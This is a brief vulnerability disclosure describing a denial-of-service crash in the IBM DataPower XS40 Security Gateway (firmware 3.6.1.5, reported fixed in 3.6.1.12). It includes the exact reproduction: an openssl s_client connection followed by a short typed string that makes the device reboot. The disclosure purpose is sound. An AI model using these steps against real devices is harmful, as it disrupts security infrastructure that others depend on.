It appears it is possible to crash the IBM DataPower XS40 Security Gateway device by sending a
simple (random?) string to it, over an established SSL-connection. The device reboots as a response
to the input.
Tested vulnerable firmware is 3.6.1.5
Issue fixed as tested in 3.6.1.12
Tested as follows (entered attack-string is ґabcґ in this case):
openssl s_client -connect [IP]:[port]
Loading 'screen' into random state - done
CONNECTED(0000078C)
..
---
abc [enter][enter]
read:errno=0
After this, the device crashes and reboots
